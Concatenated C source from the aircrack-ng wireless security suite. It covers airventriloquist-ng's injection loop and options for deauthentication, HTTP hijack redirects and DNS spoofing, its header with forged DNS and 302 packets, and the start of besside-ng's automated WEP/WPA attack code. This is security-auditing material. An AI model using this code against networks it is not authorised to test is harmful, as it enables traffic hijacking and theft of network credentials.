if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
{
if (errno == EINTR) continue;
perror("select failed");
return (1);
}
if (!FD_ISSET(dev.fd_in, &rfds)) continue;
memset(h80211, 0, sizeof(h80211));
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
// Ignore small frames...
if (caplen <= 30) continue;
// Check for 802.11 data frame, first byte is FC
if ((IEEE80211_FC0_TYPE_DATA & h80211[0]))
{
process_wireless_packet(h80211, caplen);
}
}
}
int main(int argc, char * argv[])
{
int option = 0;
int option_index = 0;
memset(&dev, 0, sizeof(dev));
memset(&opt, 0, sizeof(struct communication_options));
memset(&lopt, 0, sizeof(struct local_options));
opt.f_type = -1;
opt.f_subtype = -1;
opt.f_minlen = -1;
opt.f_maxlen = -1;
opt.f_tods = -1;
opt.f_fromds = -1;
opt.f_iswep = -1;
opt.a_mode = -1;
lopt.deauth = 0;
opt.delay = 15;
opt.r_smac_set = 0;
opt.npackets = 1;
opt.rtc = 1;
opt.f_retry = 0;
opt.reassoc = 0;
opt.s_face = NULL;
opt.iface_out = NULL;
lopt.p_hijack_str = NULL;
lopt.flag_verbose = 0;
lopt.flag_icmp_resp = 0;
lopt.flag_http_hijack = 0;
lopt.flag_dnsspoof = 0;
char * p_redir_url = NULL;
progname = getVersion(
"Airventriloquist-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
while (1)
{
option_index = 0;
static const struct option long_options[] = {{"redirect", 1, 0, 'r'},
{"interface", 1, 0, 'i'},
{"hijack", 1, 0, 's'},
{"passphrase", 1, 0, 'p'},
{"essid", 1, 0, 'e'},
{"deauth", 0, 0, 'd'},
{"icmp", 0, 0, 'c'},
{"dns", 1, 0, 'n'},
{"verbose", 0, 0, 'v'},
{"help", 0, 0, 'h'},
{0, 0, 0, 0}};
option = getopt_long(
argc, argv, "i:n:r:s:p:e:dcv", long_options, &option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case 'i':
printf("Selected Interface is %s\n", optarg);
opt.s_face = opt.iface_out = optarg;
opt.port_in
= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
opt.port_out = get_ip_port(
opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
break;
case 'v':
printf("Verbose enabled\n");
lopt.flag_verbose = 1;
break;
case 'd':
printf("Deauthing enabled\n");
lopt.deauth = 1;
break;
case 'c':
printf("Debugging by responding to ICMP enabled\n");
lopt.flag_icmp_resp = 1;
break;
case 'r':
printf("Redirect: %s\n", optarg);
p_redir_url = optarg;
break;
case 'n':
{
printf("DNS IP: %s\n", optarg);
int retval = inet_pton(AF_INET, optarg, &lopt.p_dnsspoof_ip);
if (1 != retval)
{
printf("Error occurred converting IP, please specify a "
"valid IP, because apparently %s is not\n",
optarg);
free(progname);
return (EXIT_FAILURE);
}
lopt.flag_dnsspoof = 1;
}
break;
case 's':
printf("Hijack search term: %s\n", optarg);
lopt.p_hijack_str = optarg;
lopt.flag_http_hijack = 1;
break;
case 'e':
if (lopt.essid[0])
{
printf("ESSID already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
free(progname);
return (EXIT_FAILURE);
}
memset(lopt.essid, 0, sizeof(lopt.essid));
strncpy(lopt.essid, optarg, sizeof(lopt.essid) - 1);
break;
case 'p':
if (opt.crypt != CRYPT_NONE)
{
printf("Encryption key already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
free(progname);
return (EXIT_FAILURE);
}
opt.crypt = CRYPT_WPA;
memset(lopt.passphrase, 0, sizeof(lopt.passphrase));
strncpy(lopt.passphrase, optarg, sizeof(lopt.passphrase) - 1);
break;
case 'h':
printf(usage, progname);
free(progname);
return (EXIT_SUCCESS);
case ':':
default:
printf("\"%s --help\" for help.\n", argv[0]);
}
}
if (opt.crypt == CRYPT_WPA)
{
if (lopt.passphrase[0] != '\0')
{
/* compute the Pairwise Master Key */
if (lopt.essid[0] == '\0')
{
printf("You must also specify the ESSID (-e). This is the "
"broadcast SSID name\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
calc_pmk(
(uint8_t *) lopt.passphrase, (uint8_t *) lopt.essid, lopt.pmk);
}
}
if (1 == lopt.flag_http_hijack)
{
if (NULL != lopt.p_hijack_str)
{
printf("hijack string = %s\n", lopt.p_hijack_str);
}
else
{
printf("ERROR: No proper hijack string defined\n");
}
if (NULL != p_redir_url)
{
lopt.p_redir_url = p_redir_url;
printf("We have a redirect specified\n");
char * p_url = strstr(packet302_redirect, REDIRECT_PLACEHOLDER);
ALLEGE(p_url != NULL);
int total_len = strlen(packet302_redirect)
- strlen(REDIRECT_PLACEHOLDER)
+ strlen(p_redir_url);
// Allocate memory if we're modifying this
lopt.p_redir_pkt_str = malloc(total_len);
if (lopt.p_redir_pkt_str != NULL)
{
char * p_curr = lopt.p_redir_pkt_str;
int len_first = p_url - packet302_redirect;
// Copy the first part of the packet up to the URL in the header
memcpy(p_curr, packet302_redirect, len_first);
// Next copy the specified redirection URL from user input
p_curr = lopt.p_redir_pkt_str + len_first;
memcpy(p_curr, p_redir_url, strlen(p_redir_url));
// Copy the remainder of the packet...
p_curr += strlen(p_redir_url);
memcpy(p_curr,
p_url + strlen(REDIRECT_PLACEHOLDER),
total_len - len_first - strlen(p_redir_url));
}
else
{
printf("ERROR: wasn't able to allocate the memory needed to do "
"redirect... \n");
exit(EXIT_FAILURE);
}
}
else
{
printf("WARNING: \n\tHijack term specified but no redirect "
"specified\n");
printf("\tUsing the default redirect specified\n");
// Using default redirect in the hardcoded header....
lopt.p_redir_pkt_str = packet302_redirect;
}
}
if (opt.s_face == NULL)
{
printf(usage, progname);
free(progname);
printf(COL_RED "Error, a interface must be specified\n\n" COL_REST);
return (EXIT_FAILURE);
}
/* drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* XXX */
if (opt.r_nbpps == 0)
{
if (dev.is_wlanng || dev.is_hostap)
opt.r_nbpps = 200;
else
opt.r_nbpps = 500;
}
/*
random source so we can identify our packets
*/
opt.r_smac[0] = 0x00;
opt.r_smac[1] = rand_u8();
opt.r_smac[2] = rand_u8();
opt.r_smac[3] = rand_u8();
opt.r_smac[4] = rand_u8();
opt.r_smac[5] = rand_u8();
opt.r_smac_set = 1;
// if there is no -h given, use default hardware mac
if (maccmp(opt.r_smac, NULL_MAC) == 0)
{
memcpy(opt.r_smac, dev.mac_out, 6);
if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
{
printf("No source MAC (-h) specified. Using the device MAC "
"(%02X:%02X:%02X:%02X:%02X:%02X)\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5]);
}
printf("Using device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5]);
}
if (maccmp(opt.r_smac, dev.mac_out) != 0
&& maccmp(opt.r_smac, NULL_MAC) != 0)
{
fprintf(stderr,
"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
" doesn't match the specified MAC (-h).\n"
"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5],
opt.iface_out,
opt.r_smac[0],
opt.r_smac[1],
opt.r_smac[2],
opt.r_smac[3],
opt.r_smac[4],
opt.r_smac[5]);
}
return (do_active_injection());
} |
C/C++ | aircrack-ng/src/airventriloquist-ng/airventriloquist-ng.h | #include <stdint.h>
static const uint32_t crc32_ccitt_table[256]
= {0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d};
struct net_hdr
{
uint8_t nh_type;
uint32_t nh_len;
uint8_t nh_data[];
} __packed;
struct llc_frame
{
uint8_t i_dsap;
uint8_t i_ssap;
uint8_t i_ctrl;
uint8_t i_org[3];
uint16_t i_ethtype;
} __attribute__((packed));
struct wep_frame
{
uint8_t iv1;
uint8_t iv2;
uint8_t iv3;
uint8_t keyid;
} __attribute__((packed));
struct ip_frame
{
uint8_t ver;
uint8_t tos;
uint16_t tot_len;
uint16_t id;
uint16_t frag_off;
uint8_t ttl;
uint8_t protocol;
uint16_t check;
uint32_t saddr;
uint32_t daddr;
} __attribute__((packed));
struct udp_hdr
{
uint16_t sport;
uint16_t dport;
uint16_t len;
uint16_t checksum;
} __attribute__((packed));
struct tcp_hdr
{
uint16_t sport;
uint16_t dport;
uint32_t seqnu;
uint32_t ack_seq;
// u_int16_t len_flags;
uint16_t res1 : 4, doff : 4, fin : 1, syn : 1, rst : 1, psh : 1, ack : 1,
urg : 1, ece : 1, cwr : 1;
uint16_t window;
uint16_t checksum;
uint16_t urg_ptr;
} __attribute__((packed));
/*
* Internal of an ICMP Router Advertisement
*/
struct icmp_ra_addr
{
uint32_t ira_addr;
uint32_t ira_preference;
};
struct icmp
{
uint8_t icmp_type; /* type of message, see below */
uint8_t icmp_code; /* type sub code */
uint16_t icmp_cksum; /* ones complement checksum of struct */
union
{
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* gateway address */
struct ih_idseq /* echo datagram */
{
uint16_t icd_id;
uint16_t icd_seq;
} ih_idseq;
uint32_t ih_void;
/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
struct ih_pmtu
{
uint16_t ipm_void;
uint16_t ipm_nextmtu;
} ih_pmtu;
struct ih_rtradv
{
uint8_t irt_num_addrs;
uint8_t irt_wpa;
uint16_t irt_lifetime;
} ih_rtradv;
} icmp_hun;
#define icmp_pptr icmp_hun.ih_pptr
#define icmp_gwaddr icmp_hun.ih_gwaddr
#define icmp_id icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq
#define icmp_void icmp_hun.ih_void
#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
union
{
struct
{
uint32_t its_otime;
uint32_t its_rtime;
uint32_t its_ttime;
} id_ts;
struct
{
struct ip_frame idi_ip;
/* options and then 64 bits of data */
} id_ip;
struct icmp_ra_addr id_radv;
uint32_t id_mask;
uint8_t id_data[1];
} icmp_dun;
#define icmp_otime icmp_dun.id_ts.its_otime
#define icmp_rtime icmp_dun.id_ts.its_rtime
#define icmp_ttime icmp_dun.id_ts.its_ttime
#define icmp_ip icmp_dun.id_ip.idi_ip
#define icmp_radv icmp_dun.id_radv
#define icmp_mask icmp_dun.id_mask
#define icmp_data icmp_dun.id_data
};
struct dns_query
{
uint16_t tid;
uint16_t flags;
uint16_t questions;
uint16_t rrs; // answer RRs
uint16_t arrs; // authority RRs
uint16_t xrrs; // additional RRs
uint8_t qdata;
};
struct dot1x_hdr
{
uint8_t code;
uint8_t idtype;
uint16_t length;
};
#define DOT1X_CODE_REQ 0x1
#define DOT1X_CODE_RES 0x2
#define DOT1X_CODE_SEC 0x3
#define DOT1X_CODE_FAIL 0x4
#define DOT1X_ID_EAP_PACKET 0x0
#define DOT1X_ID_EAP_START 0x1
#define DOT1X_ID_EAP_LOGOFF 0x2
#define DOT1X_ID_EAP_KEY 0x3
struct radius_hdr
{
uint8_t code;
uint8_t key_mic : 1, key_secure : 1, key_error : 1, key_request : 1,
key_enc : 1, resv : 3;
uint8_t key_ver : 3, key_type : 1, key_index : 2, key_install : 1,
key_ack : 1;
uint16_t length;
uint8_t replaycnt[8];
uint8_t wpa_nonce[32];
uint8_t wpa_key_iv[16];
uint8_t wpa_key_rsc[8];
uint8_t wpa_key_id[8];
uint8_t wpa_key_mic[16];
uint16_t wpa_key_len;
uint8_t wpa_key_datap; // data starts here
} __attribute__((packed));
#define ETHTYPE_IP 0x08
#define ETHTYPE_8021x 0x8E88
#define PROTO_ICMP 0x01
#define PROTO_TCP 0x06
#define PROTO_UDP 0x11
#ifndef TRUE
#define TRUE 1
#endif
#ifndef FALSE
#define FALSE 0
#endif
#define PRINTMAC(b) \
printf("%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X\n", \
b[0], \
b[1], \
b[2], \
b[3], \
b[4], \
b[5]);
#define DNS_RESP_PCKT \
"\x6d\x95\x81\x80" \
"\x00\x01" \
"\x00\x01" \
"\x00\x00" \
"\x00\x00" \
"\x03\x77\x77\x77" \
"\x04\x61\x73\x64\x66" \
"\x03\x63\x6f\x6d\x00" \
"\x00\x01" \
"\x00\x01" \
"\xc0\x0c" \
"\x00\x01" \
"\x00\x01" \
"\x00\x00\x14\xb4" \
"\x00\x04" \
"\x45\xa3\xf0\xc0"
#define DNS_RESP_PCKT_1 \
"\x6d\x95\x81\x80" \
"\x00\x01" \
"\x00\x01" \
"\x00\x00" \
"\x00\x00"
#define DNS_RESP_PCKT_2 \
"\x00\x01" \
"\x00\x01" \
"\xc0\x0c" \
"\x00\x01" \
"\x00\x01" \
"\x00\x00\x14\xb4" \
"\x00\x04" \
"\xC0\xA8\x01\x66"
#define COL_RED "\033[31m"
#define COL_RED_BOLD "\033[1;31m"
#define COL_GREEN "\033[32m"
#define COL_BLUE "\033[34m"
#define COL_PURPLE "\033[35m"
#define COL_GRAY "\033[36m"
#define COL_GRAY_LIGHT "\033[37m"
#define COL_REST "\033[m"
#define COL_4WAYHS COL_GRAY
#define COL_4WAYKEY COL_PURPLE
#define COL_4WAYKEYDATA COL_GREEN
#define COL_NEWSTA COL_GREEN
#define COL_NEWSTADATA COL_GRAY
#define COL_HTTPINJECT COL_RED
#define COL_HTTPINJECTDATA COL_RED_BOLD
#define REDIRECT_PLACEHOLDER "https://www.google.com/?gws_rd=ssl"
static char * packet302_redirect = "HTTP/1.1 302 Found\r\n\
Location: https://www.google.com/?gws_rd=ssl\r\n\
Cache-Control: private\r\n\
Content-Type: text/html; charset=UTF-8\r\n\
Date: Sun, 30 Nov 2014 03:25:47 GMT\r\n\
Server: gws\r\n\
Content-Length: 231\r\n\
X-XSS-Protection: 1; mode=block\r\n\
X-Frame-Options: SAMEORIGIN\r\n\
Alternate-Protocol: 80:quic,p=0.02\r\n\
\r\n\
<HTML><HEAD><meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n\
<TITLE>302 Moved</TITLE></HEAD><BODY>\n\
<H1>302 Moved</H1>\n\
The document has moved\n\
<A HREF=\"https://www.google.com/?gws_rd=ssl\">here</A>.\r\n\
</BODY></HTML>\r\n"; |
C | aircrack-ng/src/besside-ng/besside-ng.c | /*
* Copyright (C) 2010 Andrea Bittau <bittau@cs.stanford.edu>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <err.h>
#include <signal.h>
#include <string.h>
#include <assert.h>
#include <time.h>
#include <stdarg.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <limits.h>
#include "aircrack-ng/pcre/compat-pcre.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/aircrack-ng.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/tui/console.h"
#include "aircrack-ng/support/common.h"
static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
enum
{
STATE_SCAN = 0,
STATE_ATTACK,
STATE_DONE,
};
enum
{
CRYPTO_NONE = 0,
CRYPTO_WEP,
CRYPTO_WPA,
CRYPTO_WPA_MGT,
};
enum
{
ASTATE_NONE = 0,
ASTATE_PING,
ASTATE_READY,
ASTATE_DEAUTH,
ASTATE_WPA_CRACK,
ASTATE_WEP_PRGA_GET,
ASTATE_WEP_FLOOD,
ASTATE_DONE,
ASTATE_UNREACH,
};
enum
{
WSTATE_NONE = 0,
WSTATE_AUTH,
WSTATE_ASSOC,
};
enum
{
V_NORMAL = 0,
V_VERBOSE,
};
struct cracker;
struct network;
typedef void (*timer_cb)(void *);
typedef void (*cracker_cb)(struct cracker *, struct network * n);
typedef int (*check_cb)(struct network * n);
struct channel
{
int c_num;
struct channel * c_next;
};
static struct conf
{
char * cf_ifname;
struct channel cf_channels;
int cf_autochan;
int cf_hopfreq;
int cf_deauthfreq;
unsigned char * cf_bssid;
int cf_attackwait;
int cf_floodwait;
char * cf_wordlist;
int cf_verb;
int cf_to;
int cf_floodfreq;
int cf_crack_int;
char * cf_wpa;
char * cf_wep;
char * cf_log;
int cf_do_wep;
int cf_do_wpa;
char * cf_wpa_server;
#ifdef HAVE_PCRE2
pcre2_code * cf_essid_regex;
pcre2_match_data * cf_essid_match_data;
#elif defined HAVE_PCRE
pcre * cf_essid_regex;
#endif
} _conf;
struct timer
{
struct timeval t_tv;
timer_cb t_cb;
void * t_arg;
struct timer * t_next;
};
struct packet
{
unsigned char p_data[2048];
int p_len;
};
struct client
{
unsigned char c_mac[6];
int c_wpa;
int c_wpa_got;
int c_dbm;
struct packet c_handshake[4];
struct client * c_next;
};
struct speed
{
unsigned int s_num;
struct timeval s_start;
unsigned int s_speed;
};
struct cracker
{
int cr_pid;
int cr_pipe[2];
};
struct network
{
char n_ssid[256];
unsigned char n_bssid[6];
int n_crypto;
int n_chan;
struct network * n_next;
struct timeval n_start;
int n_have_beacon;
struct client n_clients;
int n_astate;
int n_wstate;
unsigned short n_seq;
int n_dbm;
int n_ping_sent;
int n_ping_got;
int n_attempts;
unsigned char n_prga[2048];
int n_prga_len;
unsigned char n_replay[2048];
int n_replay_len;
int n_replay_got;
struct timeval n_replay_last;
struct speed n_flood_in;
struct speed n_flood_out;
int n_data_count;
int n_crack_next;
PTW_attackstate * n_ptw;
struct cracker n_cracker_wep[2];
unsigned char n_key[64];
int n_key_len;
struct packet n_beacon;
int n_beacon_wrote;
struct client * n_client_handshake;
int n_mac_filter;
struct client * n_client_mac;
int n_got_mac;
};
static struct state
{
struct wif * s_wi;
int s_state;
struct timeval s_now;
struct timeval s_start;
struct network s_networks;
struct network * s_curnet;
struct channel * s_hopchan;
unsigned int s_hopcycles;
int s_chan;
unsigned char s_mac[6];
struct timer s_timers;
struct rx_info * s_ri;
int s_wpafd;
int s_wepfd;
} _state;
static void attack_continue(struct network * n);
static void attack(struct network * n);
static void autodetect_channels(void);
void show_wep_stats(int UNUSED(B),
int UNUSED(force),
PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
int UNUSED(choices[KEYHSBYTES]),
int UNUSED(depth[KEYHSBYTES]),
int UNUSED(prod))
{
}
static void time_printf(int verb, char * fmt, ...)
{
time_t now = _state.s_now.tv_sec;
struct tm * t;
va_list ap;
if (verb > _conf.cf_verb) return;
t = localtime(&now);
if (!t) err(1, "localtime()");
erase_line(0);
printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
}
static void cracker_kill(struct cracker * c)
{
REQUIRE(c != NULL);
if (c->cr_pid)
{
kill(c->cr_pid, SIGKILL);
if (c->cr_pipe[0]) close(c->cr_pipe[0]);
}
memset(c, 0, sizeof(*c));
}
static void save_network(FILE * f, struct network * n)
{
REQUIRE(f != NULL);
REQUIRE(n != NULL);
int len;
if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return;
if (!n->n_have_beacon) return;
if (n->n_astate != ASTATE_DONE) return;
len = strlen(n->n_ssid);
fprintf(f, "%s", n->n_ssid);
while (len++ < 20) fprintf(f, " ");
fprintf(f, "| ");
len = 0;
if (n->n_key_len)
{
for (len = 0; len < n->n_key_len; len++)
{
if (len != 0) fprintf(f, ":");
fprintf(f, "%.2x", n->n_key[len]);
}
len = n->n_key_len * 3 - 1;
}
if (n->n_client_handshake)
{
fprintf(f, "Got WPA handshake");
len = 17;
}
while (len++ < 38) fprintf(f, " ");
char * mac_bssid = mac2string(n->n_bssid);
ALLEGE(mac_bssid != NULL);
fprintf(f, " | %s", mac_bssid);
free(mac_bssid);
fprintf(f, " | ");
if (n->n_got_mac)
{
char * mac_c = mac2string(n->n_client_mac->c_mac);
ALLEGE(mac_c != NULL);
fprintf(f, "%s", mac_c);
free(mac_c);
}
fprintf(f, "\n");
}
static void save_log(void)
{
FILE * f;
struct network * n = _state.s_networks.n_next;
f = fopen(_conf.cf_log, "w");
if (!f) err(1, "fopen()");
fprintf(f, "# SSID ");
fprintf(f, "| KEY | BSSID");
fprintf(f, " | MAC filter\n");
while (n)
{
save_network(f, n);
n = n->n_next;
}
fclose(f);
}
static inline void do_wait(int UNUSED(x)) { wait(NULL); }
static inline void * xmalloc(size_t sz)
{
void * p = malloc(sz);
if (!p) err(1, "malloc()");
return p;
}
static void timer_next(struct timeval * tv)
{
REQUIRE(tv != NULL);
struct timer * t = _state.s_timers.t_next;
int diff;
if (!t)
{
tv->tv_sec = 1;
tv->tv_usec = 0;
return;
}
diff = time_diff(&_state.s_now, &t->t_tv);
if (diff <= 0)
{
tv->tv_sec = 0;
tv->tv_usec = 0;
return;
}
tv->tv_sec = diff / (1000 * 1000);
tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000);
}
static void timer_in(int us, timer_cb cb, void * arg)
{
struct timer * t = xmalloc(sizeof(*t));
struct timer * p = &_state.s_timers;
int s;
memset(t, 0, sizeof(*t));
t->t_cb = cb;
t->t_arg = arg;
t->t_tv = _state.s_now;
t->t_tv.tv_usec += us;
s = t->t_tv.tv_usec / (1000 * 1000);
t->t_tv.tv_sec += s;
t->t_tv.tv_usec -= s * 1000 * 1000;
while (p->t_next)
{
if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break;
p = p->t_next;
}
t->t_next = p->t_next;
p->t_next = t;
}
static void timer_check(void)
{
while (_state.s_timers.t_next)
{
struct timer * t = _state.s_timers.t_next;
if (time_diff(&t->t_tv, &_state.s_now) < 0) break;
_state.s_timers.t_next = t->t_next;
t->t_cb(t->t_arg);
free(t);
}
}
static unsigned char * get_bssid(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
uint16_t * p = (uint16_t *) (wh + 1);
if (type == IEEE80211_FC0_TYPE_CTL) return (NULL);
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
return (wh->i_addr1);
else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return (wh->i_addr2);
// XXX adhoc?
if (type == IEEE80211_FC0_TYPE_DATA) return (wh->i_addr1);
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
case IEEE80211_FC0_SUBTYPE_DISASSOC:
return (wh->i_addr1);
case IEEE80211_FC0_SUBTYPE_AUTH:
/* XXX check len */
switch (le16toh(p[1]))
{
case 1:
case 3:
return (wh->i_addr1);
case 2:
case 4:
return (wh->i_addr2);
}
return (NULL);
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
